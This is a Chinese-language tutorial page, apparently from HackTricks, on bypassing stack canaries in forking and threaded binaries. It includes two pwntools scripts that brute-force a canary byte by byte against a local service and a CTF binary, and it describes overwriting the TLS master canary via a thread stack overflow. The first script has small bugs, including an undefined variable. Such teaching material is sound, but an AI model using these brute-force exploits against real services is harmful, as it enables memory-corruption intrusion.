BF Forked & Threaded Stack Canaries

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支持 HackTricks

如果你面临一个受 canary 和 PIE（位置无关可执行文件）保护的二进制文件，你可能需要找到一种方法来绕过它们。

note

请注意，checksec 可能无法发现一个二进制文件受到 canary 保护，如果它是静态编译的，并且无法识别该函数。
然而，如果你发现一个值在函数调用开始时被保存到栈中，并且在退出之前检查这个值，你可以手动注意到这一点。

Brute force Canary

绕过简单 canary 的最佳方法是，如果二进制文件是一个每次你与它建立新连接时都会分叉子进程的程序（网络服务），因为每次你连接到它时将使用相同的 canary。

因此，绕过 canary 的最佳方法就是逐字符暴力破解，你可以通过检查程序是否崩溃或继续其正常流程来判断猜测的 canary 字节是否正确。在这个例子中，函数暴力破解一个 8 字节的 canary（x64），并通过检查服务器是否发送了响应来区分正确猜测的字节和错误字节（在其他情况下，另一种方法可以使用try/except）：

Example 1

这个例子是为 64 位实现的，但可以很容易地为 32 位实现。

python
from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

示例 2

这是为 32 位实现的，但可以很容易地更改为 64 位。
还要注意，对于这个示例，程序首先期望一个字节来指示输入的大小和有效负载。

python
from pwn import *

# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21

for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")

# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))

# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))

# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break

# Return the canary
return known_canary

# Start the target process
target = process('./feedme')
#gdb.attach(target)

# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")

线程

同一进程的线程将共享相同的 canary token，因此如果二进制文件在每次发生攻击时都会生成一个新线程，就有可能暴力破解一个 canary。

此外，在受 canary 保护的线程函数中发生的缓冲区溢出可能被用来修改存储在 TLS 中的主 canary。这是因为，可能通过线程的栈中的 bof到达存储 TLS（因此也包括 canary）的内存位置。
因此，缓解措施是无效的，因为检查使用的是两个相同的 canary（尽管已被修改）。
此攻击在以下写作中进行了描述：http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads

还可以查看 https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015 的演示，其中提到通常TLS是通过**mmap存储的，当创建线程的栈**时，它也是通过 mmap 生成的，这可能允许如前所述的溢出。

其他示例和参考